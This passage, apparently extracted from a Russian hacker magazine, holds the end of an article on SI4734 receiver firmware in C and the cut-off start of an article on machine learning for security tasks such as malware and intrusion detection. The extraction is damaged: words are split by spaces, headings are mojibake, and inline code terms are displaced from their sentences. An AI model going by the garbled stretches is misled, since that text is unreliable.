  uint8_t si4734_ssb_set_freq(uint16_t freq_khz){
  uint8_t mode,freq_h,freq_l,status,tray=0;
  if(freq_khz>10000)mode=0b10000000;else mode=0b01000000;
 freq_h=freq_khz>>8;
 freq_l=freq_khz&0xff;
  uint8_t cmd[6]={AM_TUNE_FREQ,mode,freq_h,freq_l,0,1};
 i2c_transfer7(SI4734I2C,SI4734ADR,cmd,6,0,0);
 delay(20);
 do{
   i2c_transfer7(SI4734I2C,SI4734ADR,0,0,&status,1);
   tray++;
     if(tray==255) return 0xff;
   delay(20);
 }while(status!=0x80);
  return status;
}

Ис кушен ный читатель заметит, что точ ность нас трой ки 1 кГц для SSB недос- 
таточ на, так как от величи ны расс трой ки зависит тон сиг нала и все го нес коль- 
ко сотен герц могут сде лать голос нераз борчи вым. А кварц у нас неидеаль- 
ный, да и на переда ющей сто роне такое тоже может иметь мес то.

По это му нуж но пре дус мотреть воз можность точ но подс тро ить час тоту.
Для это го есть параметр , при нима ющий зна чения от –
16 383 до +16 383 и озна чающий отс трой ку час тоты в гер цах от той, что
задана коман дой . Даташит говорит, что истинная час тота нас- 
трой ки будет , одна ко мои экспе- 
римен ты показа ли, что для SI4734 BFO нуж но вычитать из основной час тоты,
то есть . То ли это осо бен ность имен- 
но SI4734, то ли ошиб ка в даташи те, впро чем, это не так важ но. В ито ге BFO
мы задаeм коман дой , где  пред став- 
ляет собой жела емую отс трой ку в гер цах (16-бит ное целое чис ло со зна ком).

SSB_BFO 0x0100

AM_TUNE_FREQ
AM_TUNE_FREQ (кГц) + SSB_BFO (Гц)

AM_TUNE_FREQ (кГц) – SSB_BFO (Гц)

si4734_set_prop(SSB_BFO, bfo) bfo

Ñîáèðàåì âîåäèíî

Те перь у нас есть все минималь но необ ходимые фун кции для запус ка
SI4734 в любом из трeх режимов. Cоберeм всe в одну фун кцию, при нима- 
ющую на вход жела емый режим. А заод но добавим фун кцию

, которая поз волит не толь ко стар товать из вык лючен- 
ного сос тояния, но и перек лючать уже уста нов ленные режимы. Как понят но
из наз вания, коман да прог рам мно вык люча ет SI4734.

si4734_powerdown()

#define AM_MODE 0
#define FM_MODE 1
#define SSB_MODE 2

 uint16_t encoder=15200;
 uint16_t pwm1=750;
 uint16_t coef=5;

 int16_t bfo=0;
 int16_t vol=0x1a;

 uint8_t si4734_powerdown(){
  uint8_t cmd=POWER_DOWN,status;
 i2c_transfer7(SI4734I2C,SI4734ADR,&cmd,1,0,0);
 delay(200);
 i2c_transfer7(SI4734I2C,SI4734ADR,0,0,&status,1);
  return status;
}

  void reciver_set_mode(uint8_t rec_mod){
    static uint16_t amfreq=15200,fmfreq=8910; // Запоминаем старое 
значение
  si4734_powerdown(); // частоты
   if(reciver_mode==FM_MODE)fmfreq=encoder; else amfreq=encoder;
 if(rec_mod==AM_MODE){
   reciver_mode=AM_MODE;
   si4734_am_mode();
    si4734_set_prop(AM_CHANNEL_FILTER, 0x0100);
     si4734_set_prop(AM_SOFT_MUTE_MAX_ATTENUATION, 0); // soft mute 
off
     si4734_set_prop(AM_AUTOMATIC_VOLUME_CONTROL_MAX_GAIN, 0x5000);
// 60 дБ
    si4734_set_prop(RX_VOLUME, vol);
    encoder=amfreq-bfo/1000; // Поправка на BFO
   si4734_am_set_freq(encoder);
   coef=1;
   encoder_mode=0;
  }else if(rec_mod==FM_MODE){
   reciver_mode=FM_MODE;
   si4734_fm_mode();
    si4734_set_prop(FM_DEEMPHASIS,0x0001); // 01 = 50 µs. Used in 
Europe, Australia, Japan
    si4734_set_prop(RX_VOLUME, vol);
   MIN_LIMIT=6000;
   MAX_LIMIT=11100;
   coef=10;
   encoder=fmfreq;
   si4734_fm_set_freq(encoder);
   encoder_mode=0;
 }else{
   reciver_mode=SSB_MODE;
   si4734_ssb_patch_mode(ssb_patch_content);
    si4734_set_prop(0x0101,((1<<15)|(1<<12)|(1<<4)|2)); // ssb man 
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     si4734_set_prop(AM_SOFT_MUTE_MAX_ATTENUATION, 0); // soft mute 
off
     si4734_set_prop(AM_AUTOMATIC_VOLUME_CONTROL_MAX_GAIN, 0x7000);
// 84 дБ
    si4734_set_prop(RX_VOLUME, vol);
   encoder=amfreq;
   si4734_ssb_set_freq(encoder);
   coef=1;
   encoder_mode=0;
 }
}

Та ким обра зом, для запус ка чипа, нап ример, в режиме FM на час тоте 
дос таточ но выз вать три фун кции:

freq

si4734_reset();
  for(uint32_t i=0;i<0x5ff;i++)__asm__("nop"); // Задержка, требуемая 

даташитом
reciver_set_mode(FM_MODE);
si4734_fm_set_freq(freq);

Продолжение статьи →

https://libopencm3.org/
https://github.com/5881/si4734-ssb-v2/tree/main/man
https://www.youtube.com/watch?v=fgjPGnTAVgM
https://www.dropbox.com/sh/xzofrl8rfaaqh59/AAA5au2_CVdi50NBtt0IivyIa?dl=0
https://github.com/pu2clr/SI4735
https://ru.wikipedia.org/wiki/%D0%9E%D0%B4%D0%BD%D0%BE%D0%BF%D0%BE%D0%BB%D0%BE%D1%81%D0%BD%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F%D1%86%D0%B8%D1%8F


СЕКРЕТЫ SI473X
ДЕЛАЕМ ПРИЕМНИК И ИЩЕМ

СКРЫТЫЕ ВОЗМОЖНОСТИ МИКРОСХЕМЫ SDR

GEEK  НАЧАЛО СТАТЬИ←

Что бы перек лючить ся в дру гой режим, дос таточ но выз вать две пос ледние, так
как сброс рекомен дуют делать толь ко при вклю чении. Для перес трой ки же
час тоты и вов се дос таточ но пос ледней фун кции. Наш при емник уже работос- 
пособен, оста лось налепить кра сивос тей и фун кций.

Äîáàâèì êðàñèâîñòè è ôóíêöèè

Для вывода я взял самопис ную биб лиоте ку, которую исполь зовал в пре дыду- 
щих про ектах. Она уме ет выводить фор матные стро ки задан ного раз мера
в задан ной точ ке дис плея, и это го тек сто вого интерфей са нам хва тит за гла- 
за. Из нас тро енно го чипа мож но узнать некото рые парамет ры сиг нала —
текущую час тоту нас трой ки, интенсив ность сиг нала, соот ношение сиг нал/
шум и дру гие. Но пос коль ку мы исполь зуем пря мую уста нов ку час тоты, то
осо бой необ ходимос ти выс пра шивать час тоту у чипа нет, а вот интенсив ность
и зашум ленность полез но видеть. Кро ме того, в режиме SSB есть еще BFO,
его тоже неп лохо бы отоб разить. При чем в слу чае пос ледне го в SSB-режиме
мы сде лаем поп равку отоб ража емой час тоты. Итак, фун кция инди кации будет
выг лядеть сле дующим обра зом.

    void show_freq(uint16_t freq, int16_t offset){
  uint16_t offset_hz;
  uint16_t freq_khz;
 if(reciver_mode==FM_MODE)o_printf_at(18*5,1,1,0,"x10");
    else o_printf_at(18*5,1,1,0,"   ");
 // f=f-bfo
 if(reciver_mode==SSB_MODE){
   offset_hz=(1000-offset%1000)%1000;
   freq_khz=freq-offset/1000;
   if(offset%1000>0)freq_khz--;
   o_printf_at(18*5,3,1,0,"%03d",offset_hz);
   o_printf_at(0,1,3,0,"%5d",freq_khz);
 }else{
   o_printf_at(18*5,3,1,0,"   ");
   o_printf_at(0,1,3,0,"%5d",freq);
 }
 o_printf_at(18*5,2,1,0,"KHz");
}

      void show_reciver_status(uint8_t snr, uint8_t rssi, uint8_t status){
  uint8_t n=1;
 o_printf_at(1,4,1,0,"SNR:%2ddB SI: %2duVdB",snr,rssi);
 // coef — глобальная переменная
 // n — поправочный коэффициент шага
 if(reciver_mode==FM_MODE)n=10;
 o_printf_at(1,5,1,0,"status x%x %dKHz   ",status,coef*n);
}

    void show_reciver_full_status(uint16_t freq, int16_t offset,
                                  uint8_t snr, uint8_t rssi, uint8_t

status){
  show_freq(freq, offset);
 show_reciver_status(snr,rssi,status);
}

Здесь  — гло баль ная перемен ная, содер жащая код текуще го
режима, от которо го нем ного меня ется интерфейс,  — текущая час тота
нас трой ки,  — отс трой ка час тоты в SSB-режиме,  — соот ношение
сиг нал/шум в децибе лах,  — интенсив ность сиг нала в децибел-мик- 
роволь тах,  — ста тус-байт, воз вра щен ный коман дой уста нов ки час- 
тоты. Пос ледний помога ет при отладке. Гло баль ная перемен ная  отра- 
жает шаг перес трой ки час тоты энко дером, при чем в слу чае AM/SSB
это килогер цы, а для FM — десят ки килогерц. Целочис ленная матема тика —
это поп равка на отс трой ку час тоты. А выг лядит это все вот так.

reciver_mode
freq

offset snr
rssi

status
соеf

AM-интерфейс

FM-интерфейс

SSB-интерфейс

Уз нать парамет ры  и  мы можем с помощью коман ды 
 или , при чем коман ды для SSB и AM иден тичны:

rssi snr AM_RSQ_STATUS
0x43 FM_RSQ_STATUS 0x23

    
 

uint8_t si4734_am_signal_status(uint8_t *resp1,uint8_t *resp2,uint8_t
*rssi,uint8_t *snr){
  uint8_t cmd[3]={AM_RSQ_STATUS,0x1};
  uint8_t tray=0;
  uint8_t answer[6];
 i2c_transfer7(SI4734I2C,SI4734ADR,cmd,2,0,0);
 delay(50);
 answer[0]=0;
 while(answer[0]==0){
   i2c_transfer7(SI4734I2C,SI4734ADR,0,0,answer,6);
   tray++;
     if(tray==255) return 0xff;
   delay(50);
 }
 *resp1=answer[1];
 *resp2=answer[2];
 *rssi=answer[4];
 *snr=answer[5];
  return answer[0];
}

    uint8_t si4734_fm_signal_status(uint8_t *rssi,uint8_t *snr,int8_t *
freq_of){
  uint8_t cmd[3]={FM_RSQ_STATUS,0x1};
  uint8_t tray=0;
  uint8_t answer[8];
 i2c_transfer7(SI4734I2C,SI4734ADR,cmd,2,0,0);
 delay(50);
 answer[0]=0;
 while(answer[0]==0){
   i2c_transfer7(SI4734I2C,SI4734ADR,0,0,answer,8);
   tray++;
     if(tray==255) return 0xff;
   delay(50);
 }
 *rssi=answer[4];
 *snr=answer[5];
 *freq_of=answer[7];
  return answer[0];
}

    uint8_t get_recivier_signal_status(uint8_t *snr,uint8_t *rssi,uint8_t
*freq_of){
  uint8_t status,resp1,resp2;
 switch(reciver_mode){
     case AM_MODE: status=si4734_am_signal_status(&resp1,&resp2,rssi,
snr);
     break;
     case FM_MODE: status=si4734_fm_signal_status(rssi,snr,freq_of);
     break;
     case SSB_MODE: status=si4734_am_signal_status(&resp1,&resp2,rssi,
snr);
     break;
 }
  return status;
}

Те перь вер немся к проб леме перес трой ки. Шаг перес трой ки мы воль ны
задавать сами, коли уж мы можем задавать час тоту с точ ностью до килогер ца
в АМ/SSB и до 10 кГц в FM, на прак тике удоб ны зна чения 1, 5 и 10 кГц, а для
FM их удоб но умно жать на 10.

В слу чае же с SSB мож но исполь зовать неболь шой хак и поч ти решить
проб лему «чух-чух». Для это го мы исполь зуем отс трой ку час тоты, которая
не дает щел чков. К нес частью, ее величи на огра ничи вает ся +/–16 кГц,
но если мы будем сле дить за BFO и по дос тижении +/–16 000 сбра сывать
BFO, а затем поп равлять основную нас трой ку, то мы получим воз можность
неп рерыв ной нас трой ки с точ ностью око ло 10 Гц. Заяв ленная в даташи те точ- 
ность отс трой ки — 8 Гц, впро чем, это не так важ но, за такие день ги лишь бы
не пла вала. На прак тике удоб но взять шаг 100 Гц. С этим шагом все еще мож- 
но дос таточ но точ но нас тро ить ся и при этом не заколе бать ся кру тить руч ку.
Кро ме того, воз можность нас трой ки основной час тоты с про изволь ным
шагом ник то не отме нял. А выг лядит этот хак вот так:

  if(old_bfo!=bfo && reciver_mode==2){
  si4734_set_prop(SSB_BFO, bfo);
 o_printf_at(1,6,1,0,"BFO: %d  ",-bfo);
 if(bfo>16000||bfo<-16000){
   encoder=encoder-bfo/1000;
   bfo=bfo%1000;
 }
 old_bfo=bfo;
}
if(old_encoder!=encoder){
 old_encoder=encoder;
  if(reciver_mode==1) status=si4734_fm_set_freq(encoder);
   else if(reciver_mode==2) status=si4734_ssb_set_freq(encoder);
  else status=si4734_am_set_freq(encoder);
}

И пос ледняя шту ка, о которой сто ит упо мянуть, — это авто поиск стан ций.
Очень удоб ная фун кция, ког да лень кру тить руч ку. Я его реали зовал толь ко
для АМ, так как на УКВ у меня стан ции идут под ряд с шагом при мер- 
но 400 кГц — чего там, спра шива ется, искать?

По иск воз можен в двух нап равле ниях — вверх и вниз соот ветс твен но, а из
парамет ров он тре бует задания шага поис ка, при чем под держи вают ся толь ко
фик сирован ные зна чения 1, 5 и 10 кГц. 1 кГц надеж нее и мед леннее, 5 может
прос кочить, но быс трее. Я оста новил ся на 5 кГц. Далее нуж но выб рать кри- 
терий поис ка. Мож но искать по RSSI и по SNR. Учи тывая, что у меня очень
зашум ленный эфир, искать по интенсив ности — пус тое занятие, поэто му
ищем по SNR и выс тавля ем порог в минимум, то есть в 1 дБ. В любом слу чае,
если стан ция не дает и 1 дБ SNR, ее осо бо не пос луша ешь.

Да лее зада ем гра ницы поис ка. Текущая час тота дол жна быть меж ду вер- 
хней и ниж ней гра ница ми поис ка, ина че фокус не сра бота ет. В тех при мерах,
что я видел, в памяти хра нились все под диапа зоны КВ и в них вел ся поиск.
Одна ко это, на мой вкус, неудоб но, так как, во-пер вых, вещал ки быва ют и за
пре дела ми под диапа зонов (китай цы не очень блю дут стан дарты), а во-вто- 
рых, поиск по все му под диапа зону может быть дос таточ но дол гим. Поэто му
каж дый раз при вызове поис ка я буду задавать гра ницы как +/–200 кГц
от текущей час тоты. Оста лось задать поведе ние при неудач ном поис ке —
оста новить ся на соот ветс тву ющей гра нице.

Пос ле окон чания поис ка надо узнать час тоту, на которую нас тро ен чип,
и поп равить зна чение час тоты в управля ющем кон трол лере, что бы она пра- 
виль но отоб ражалась. В этот раз мы будем ждать от чипа ответ , сиг- 
нализи рующий об окон чании поис ка. Стро го говоря,  — это ,
где  сиг нализи рует о готов ности даль ше при нимать коман ды, а 
говорит, что нас трой ка час тоты завер шена. В рас смот ренных выше коман дах
перес трой ки час тоты, если даль ше про дол жить опрос ста туса чипа пос ле
приeма , через некото рое вре мя чип будет выдавать . В коде всe
опи сан ное выг лядит так.

0x81
0x81 0x80|0x01

0x80 0x01

0x80 0x81

...
// Эта часть привязана к кнопке
if(reciver_mode==AM_MODE){
  si4734_am_seek(encoder,1); // Поиск вверх
 si4734_get_freq_v2(&encoder);
}
...
// Эта часть привязана к кнопке
if(reciver_mode==AM_MODE){
  si4734_am_seek(encoder,0); // Поиск вниз
 si4734_get_freq_v2(&encoder);
}
...

    void si4734_am_seek(uint16_t freq, uint8_t up){
   uint8_t cmd[6]={AM_SEEK_START,(1<<3),0,0,0,1}; // AN332 p138
  uint16_t top,bottom;
 // Чтобы поиск надолго не вешал приемник, ограничим диапазон до 
400 кГц
 top=freq+200;
 if(top>30000)top=30000;
   if(freq<400) bottom=200;else bottom=freq-200;
 si4734_set_prop(AM_SEEK_BAND_TOP,top);
 si4734_set_prop(AM_SEEK_BAND_BOTTOM,bottom);
  si4734_set_prop(AM_SEEK_FREQ_SPACING,5); // Шаг поиска
  si4734_set_prop(AM_SEEK_SNR_THRESHOLD,1); // Порог 1 дБ
 // uint16_t freq;
 // uint8_t rssi,snr;
  if(!up) cmd[1]&=~(1<<3);
 i2c_transfer7(SI4734I2C,SI4734ADR,cmd,6,0,0);
 // delay(500);
  while (si4734_get_int_status()!=0x81)delay(100);
}

   uint8_t si4734_get_freq_v2(uint16_t *freq){ // Возвращает только 
частоту
  uint8_t cmd[2]={AM_TUNE_STATUS,0x0};
  uint8_t tray=0;
  uint8_t answer[8];
 i2c_transfer7(SI4734I2C,SI4734ADR,cmd,2,0,0);
 delay(50);
 answer[0]=0;
  while(answer[0]==0){ // Если все нормально, ответ будет 0x81
   i2c_transfer7(SI4734I2C,SI4734ADR,0,0,answer,8);
   tray++;
     if(tray==255) return 0xff;
   delay(50);
 }
 *freq=((answer[2]<<8)|answer[3]);
  return answer[0];
}

Лю бопыт но: если во вре мя поис ка выс пра шивать у «сиш ки» текущую час тоту,
то мож но уви деть, как она шага ет в задан ном интерва ле, пока не най дет стан- 
цию или не дой дет до гра ницы поис ка. Про чие под робнос ти реали зации мож- 
но пос мотреть на , там весь код, схе мы, пла ты и полез ные даташи ты.GitHub

ÂÏÅ×ÀÒËÅÍÈß

Впе чат ления от SI4734 у меня оста лись положи тель ные, и по боль шому сче ту
пре тен зия толь ко одна — «чух-чух» при нас трой ке AM/SSB. Ана лого вый при- 
емник с двой ным пре обра зова нием нас тра ивать гораз до при ятнее, одна ко
если при нять во вни мание прос тоту конс трук ции и очень демок ратич ную цену
«сиш ки», то ей мож но прос тить этот недос таток.

При этом FM работа ет прос то пре вос ходно, и тут никаких нарека ний.
С чувс тви тель ностью у него тоже все в поряд ке, в режиме SSB отчетли во слы- 
шен сиг нал тес тового генера тора при ампли туде око ло 0,5 мкВ. Поэто му
если вклю чить его вда ли от источни ков помех, нап ример за городом
или хотя бы в пар ке, то на АМ/SSB-диапа зонах всег да будет что пос лушать.
Но и в городе все не так пло хо, прав да, тут резуль тат уже целиком зависит
от антенны.

Но самое забав ное — этот при емник в диапа зоне CB (27 МГц АM) работа- 
ет луч ше, чем RTL-SDR-v3. Веро ятно, это свя зано с внут ренни ми помеха ми
RTL-SDR-v3, в осталь ном пос ледний луч ше. Одна ко если хочет ся пос лушать
эфир на при роде, а ноут тащить лень, то SI4734 — то, что надо!

https://github.com/5881/si4734-ssb-v2
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КАК МАШИННОЕ ОБУЧЕНИЕ
ПРИМЕНЯЕТСЯ В БЕЗОПАСНОСТИ
И КАКИМ ОНО БЫВАЕТ

Константин Коновалов

GEEK

Сей час очень мно го говорят об искусс твен ном интеллек те,
машин ном обу чении и глу боких ней росетях, но мало кто
понима ет, в чем раз личие меж ду раз ными под ходами к ИИ.
В этой статье мы погово рим об этом и я при веду при меры
того, как искусс твен ный интеллект при меня ется в кибер- 
безопас ности.

INFO

Ре дак ция бла года рит коман ду « »
за помощь в под готов ке статьи.

Ха кер дом

Ис кусс твен ный интеллект — это на самом деле сра зу нес коль ко областей
компь ютер ных наук, которые реша ют задачи, свой ствен ные челове чес кому
разуму: рас позна вание речи, клас сифика ция объ ектов, а так же раз ные игры
вро де шах мат и го.

Ма шин ное обу чение — это часть темы искусс твен ного интеллек та, где
изу чает ся не пря мое прог рамми рова ние задач, а прог рамми рова ние через
обу чение в про цес се решения одно тип ных задач.

В понятие машин лернин га вхо дят раз ные алго рит мы — такие как random
forest («слу чай ный лес»), деревья решений, наив ный бай есов ский клас- 
сифика тор, гра диен тный бус тинг и дру гие. Ней рон ные сети, в том чис ле глу- 
бокие, — это тоже один из алго рит мов машин ного обу чения.

Струк тура искусс твен ного интеллек та

ÊËÀÑÑÈ×ÅÑÊÈÉ ÊÎÄÈÍÃ VS ÌÀØÈÍÍÎÅ ÎÁÓ×ÅÍÈÅ

Как про исхо дит прог рамми рова ние в клас сичес ком понима нии? Допус тим,
у челове ка есть компь ютер, который работа ет по опре делен ному алго рит му.
Человек вво дит в него дан ные, зада ет прог рамму, и алго ритм выда ет резуль- 
таты. В этом слу чае все пре дель но понят но. Человек может получить точ ность
до 100 про цен тов, осо бен но если зап рос — это матема тичес кие опе рации.

Схе ма клас сичес кого прог рамми рова ния

А вот в слу чае с машин ным обу чени ем прог рамма и выходы поменя ются мес-
тами. То есть человек дает алго рит му дан ные и ука зыва ет пра виль ные
решения, а даль ше компь ютер дума ет, как сде лать так, что бы из этих дан ных
получа лись жела емые резуль таты. В про цес се такой работы и рож дает ся
прог рамма.

Схе ма машин ного обу чения

ÇÀÄÀ×È ÈÑÊÓÑÑÒÂÅÍÍÎÃÎ ÈÍÒÅËËÅÊÒÀ

Есть четыре основные задачи искусс твен ного интеллек та:
клас сифика ция;•
рег рессия;•
ран жирова ние;•
клас териза ция.•

Ма шин ное обу чение сос тоит из двух про цес сов. Пер вый — это тре ниров ка,
ког да человек берет дан ные, обу чает модель и в ито ге получа ет некий клас- 
сифика тор.

Тре ниров ка модели машин ного обу чения

Вто рой про цесс — это уже исполь зование ML, ког да обу чен ный клас сифика- 
тор внед ряет ся в сис тему, а затем на вход сис темы пода ют новые дан ные,
которые клас сифика тор не видел. В резуль тате мы получа ем пред ска зания
от клас сифика тора.

Мо дель исполь зования

×ÅÌ ÌÀØÈÍËÅÐÍÈÍÃ ÌÎÆÅÒ ÏÎÌÎ×Ü Â ÈÁ

Рас смот рим при мер того, как человек поль зует ся сво ей элек трон ной поч той.
Мож но выделить четыре пат терна поведе ния челове ка, ана лиз которых
поможет опре делить его дей ствия.
1. В какое вре мя суток человек поль зует ся поч той: утром, днем, вечером.
2. Сколь ко устрой ств исполь зует: телефон, компь ютер или сра зу нес коль ко

устрой ств одновре мен но.
3. В каких локаци ях человек находит ся, ког да поль зует ся поч той.
4. В каком поряд ке человек про веря ет пись ма: свер ху вниз или сни зу вверх.

Мы можем опре делить это по тому, как он отве чает или уда ляет из ящи ка
рас сылки и про чий мусор.

Со вокуп ность отве тов на эти воп росы соз дает пор трет челове ка (на рисун ке
ниже поведе ние такого челове ка выделе но крас ным). Для машин ного обу- 
чения эти дей ствия будут пред ска зуемые, без каких-либо всплес ков.

Гра фик поведе ния челове ка в нор маль ных усло виях

Те перь пред ста вим, что хакер взло мал поч ту, узнав каким-то обра зом пароль
от нее, и зашел как поль зователь. Его поведе ние будет явно отли чать ся
от поведе ния челове ка, который поль зовал ся элек трон ным ящи ком до него.
На гра фике поведе ние хакера показа но харак терны ми всплес ками.

Гра фик поведе ния хакера

За дача алго рит ма зак люча ется в том, что бы опре делить тот момент, ког да
изме нилось поведе ние челове ка, которое обра зова ло такой всплеск. О 

 можешь почитать в бло ге Яндекса на Хаб ре.
по- 

доб ном при мере
Дру гой хороший при мер — сорев нования Catch me if you can на сай те

. Это, кста ти, очень полез ный сайт для тех, кто хочет изу чить машин ное
обу чение.
Kaggle

За дача — отли чить взлом щика от нор маль ного поль зовате ля по его
поведе нию. Нап ример, дано: сай ты, которые посеща ет человек, и вре мя
нахож дения челове ка на них. Нуж но по пос ледова тель нос ти посеще ний сай- 
тов опре делить взлом щика. На стар товой стра нице пред став лен обзор
задачи и раз мечен ные дан ные. А так же есть вклад ка, где мож но най ти, как эту
задачу решили дру гие поль зовате ли. То есть Kaggle дает воз можность
не толь ко поучас тво вать в сорев новани ях, но и наб рать ся опы та у дру гих
людей.

×ÒÎ ÂÊËÞ×ÀÅÒ Â ÑÅÁß ÌÀØÈÍÍÎÅ ÎÁÓ×ÅÍÈÅ

Ма шин ное обу чение вклю чает в себя три ком понен та: дан ные, приз наки
и алго рит мы. Давай рас смот рим их по отдель нос ти.

Äàííûå

В откры том дос тупе есть мно жес тво наборов дан ных, на которых мож но тре- 
ниро вать алго рит мы. Но у таких наборов есть недос татки. Нап ример, наборы
могут быть непол ными, пло хо раз мечены и неточ ны. Если ты захочешь внед- 
рить решение на ML-тех нологи ях, нуж но будет соб рать набор дан ных
под опре делен ную задачу и готовый набор вряд ли будет хорошо соот ветс- 
тво вать. Люди готовы вык ладывать алго рит мы, рас ска зывать, что и как они
исполь зуют, но мало кто хочет делить ся сво ими набора ми дан ных.

За дача дата-сай ентиста — под готовить набор дан ных к исполь зованию:
соб рать, раз метить и вычис тить его. Это очень тру доем кий про цесс, который
занима ет при мер но 50–70 про цен тов работы.

Ïðèçíàêè

Рас смот рим прос той веб-зап рос. Допус тим, у тебя есть: дли на зап роса, код
отве та, URL, кон текст, популяр ность домена и так далее. Все го таких приз- 
наков мож но наб рать 600 штук. В этом слу чае воз ника ет два важ ных воп роса:
1. Ка кие из этих приз наков брать, а какие не сто ит?
2. Где будет исполь зовано решение — в режиме realtime или офлайн?

При чем тебе при дет ся искать ком про мисс меж ду эти ми дву мя парамет рами.
Нап ример, если решение будет исполь зовано в реаль ном вре мени, нуж но,
что бы модель мог ла быс тро счи тать. Поэто му приз наков сто ит взять помень- 
ше, модель ку пос лабее. В офлай новом режиме мож но выг рузить дан ные,
ана лизи ровать их и рас кидывать по катего риям. В этом слу чае исполь зуй
любую модель любой слож ности, потому что мож но зас тавить алго ритм
думать столь ко, сколь ко понадо бит ся.

Вот еще один при мер. Пред положим, нам нуж но понять, опас ный
перед нами файл или нет. Для это го сна чала отве тим на сле дующие воп росы:
1. Тре бует ли файл дос тупа в интернет?
2. Де лает ли он что-то похожее на ска ниро вание?
3. Ка кие IP исполь зует файл?
4. Хо чет ли он дос тучать ся до реес тра?
5. Ра бота ет ли файл с памятью?
6. Хо чет ли он изме нить фай ловую сис тему?
7. Име ет ли файл воз можность самоко пиро вания или зах вата дру гих фай- 

лов?

От веты на эти воп росы помогут выявить приз наки, которые мож но исполь- 
зовать для решения нашей задачи.

Àëãîðèòìû

Ал горит мы мож но раз делить на нес коль ко типов:
обу чение без учи теля;•
обу чение с учи телем;•
обу чение с час тичным прив лечени ем учи теля (semi-supervised learning);•
обу чение с под креп лени ем.•

При обу чении без учи теля человек вво дит в алго ритм нераз мечен ные дан ные
и ждет от алго рит ма нуж ный резуль тат. В слу чае обу чения с учи телем дан ные
уже раз мечены и есть воз можность отли чить дей ствия зло умыш ленни ка
от дей ствий нор маль ного челове ка. Это самый удоб ный и рас простра нен ный
вари ант, тог да как обу чение без учи теля в безопас ности сей час не исполь- 
зует ся.

Обу чение с час тичным прив лечени ем учи теля — это неч то сред нее меж ду
пер вым и вто рым типами. Нуж но обу чить алго ритм на нераз мечен ных дан ных,
а затем про верить его точ ность на раз мечен ных дан ных. Нап ример, у нас
есть некий набор дан ных. 90% мы можем отпра вить на обу чение модели,
а 10% — на то, что бы про тес тировать его точ ность. Эта раз новид ность алго- 
рит ма эко номит вре мя.

В обу чении с под креп лени ем есть агент и сре да. Агент, вза имо дей ствуя
со сре дой, получа ет либо наг раду, либо штраф. При этом он дол жен перес- 
тро ить свою стра тегию таким обра зом, что бы всег да получать наг раду. Нап- 
ример, это может быть шага ющий робот, который пыта ется научить ся шагать,
или мобиль ный робот, который дол жен доехать из точ ки А в точ ку Б так, что бы
ни с чем не стол кнуть ся.

Плюс это го алго рит ма в том, что он работа ет в реаль ном вре мени, вза- 
имо дей ствуя с сис темой. Здесь не нуж но ком плек товать набор дан ных, он
собира ется и раз меча ется одновре мен но. В кибер безопас ности этот алго- 
ритм не встре чает ся.

×ÅÌ ÎÒËÈ×ÀÞÒÑß ÐÀÇÍÛÅ ÀËÃÎÐÈÒÌÛ

Рас смот рим семь алго рит мов машин ного обу чения:
ли ней ная рег рессия;•
ло гис тичес кая рег рессия;•
де ревья решений;•
ме тод опор ных век торов;•
на ивный бай есов ский клас сифика тор;•
слу чай ный лес;•
ал горитм гра диен тно го бус тинга.•

Ал горитм гра диен тно го бус тинга и слу чай ный лес — это мощ ное раз витие
основно го алго рит ма, деревь ев решений. Нап ример, в алго рит ме слу чай ного
леса парал лель но может работать 1000 деревь ев решений, за счет чего
резуль тат будет эффектив нее.

В слу чае гра диен тно го бус тинга задача рас счи тыва ется по-дру гому. Нап- 
ример, это может быть два слу чай ных дерева, которые выс тра ивают ся
в цепоч ку и соз дают более точ ный резуль тат, чем при исполь зовании любого
дру гого одно го-единс твен ного алго рит ма и ней рон ной сети.

Рас смот рим, как работа ют некото рые алго рит мы, на при мере реаль ной
задачи.

Íàèâíûé áàéåñîâñêèé êëàññèôèêàòîð

На ивный бай есов ский клас сифика тор исполь зовал ся до 2010 года
в спам-филь трах, одна ко спа меры ста ли под него подс тра ивать ся и сде лали
его фак тичес ки неп ригод ным. Рас смот рим тем не менее, как он работа ет.

Итак, наша задача — понять, отно сит ся пись мо к спа му или нет. При обу-
чении клас сифика тора воз ника ет два спис ка: хороших слов и пло хих — тех,
что час то попада ются в спа ме. В спис ках пред став лены сами сло ва и час тота,
с которой они обыч но встре чают ся.

Пред положим, в пись ме есть сло во «собака». Смот рим и узна ем, что
в хороших пись мах оно встре чалась нам ного чаще, чем в спа ме. Даль ше
информа ция о каж дом сло ве отправ ляет ся в фор мулу наив ного бай есов ско го
клас сифика тора, который вычис ляет веро ятность того, спам перед нами
или не спам.

Äåðåâüÿ ðåøåíèé

Здесь нам сно ва при годит ся при мер с детек том мал вари в фай ле. Итак, у нас
есть файл и мы хотим опре делить, нас коль ко он опа сен. На каж дом эта пе
алго ритм будет решать, какой воп рос нуж но задавать в про цес се обу чения.
Пред положим, он зада ет воп рос, тре бует ли этот файл соеди нения
с интерне том. Ответ может быть либо положи тель ный, либо отри цатель ный.
От это го зависит, каким будет сле дующий воп рос.

К при меру, если ответ отри цатель ный, то алго ритм зада ет новый воп рос:
тре бует ли файл дос тупа к реес тру? Если ответ «да», зна чит, этот файл опа- 
сен. В про тив ном слу чае алго ритм зада ет воп рос, работа ет ли файл
с памятью нап рямую. Если нет, это нор маль ный файл. В слу чае положи тель- 
ного отве та нуж но задать новый воп рос. Этот про цесс длит ся, пока не ста нет
понят но, опа сен файл или нет.

ÎÒËÈ×Èß ÍÅÉÐÎÑÅÒÅÉ ÎÒ ÄÐÓÃÈÕ ÀËÃÎÐÈÒÌÎÂ

Клас сичес кая схе ма машин ного обу чения стро ится на том, что человек вруч- 
ную выделя ет приз наки дан ных, выбира ет из мно жес тва приз наков важ ные
и стро ит клас сифика тор, который затем смо жет выдавать резуль тат.

Ней рон ные сети самос тоятель но выделя ют приз наки и про изво дят клас- 
сифика цию. Одна ко они более чувс тви тель ны к нас трой ке и тре бова тель ны
к ресур сам. При чем в зависи мос ти от чис ла сло ев в глу бокой ней росети
может силь но раз личать ся точ ность резуль тата — к при меру, от 80 до 99%.

Ней росети пол ностью реша ют задачу за челове ка, но нуж но понимать
сфе ру их при мене ния. Нап ример, в воп росах интернет-безопас ности они
хорошо зареко мен довали себя там, где рас позна ют речь либо работа ют
с изоб ражени ями или видео. К при меру, ней росети при меня ются в Face ID
на iPhone, ког да изоб ражение с камер поз воля ет раз бло киро вать телефон
и получить дос туп к сво им дан ным.

Воз можны и уяз вимос ти, свя зан ные с ней росетя ми. В 2018 году раз работ- 
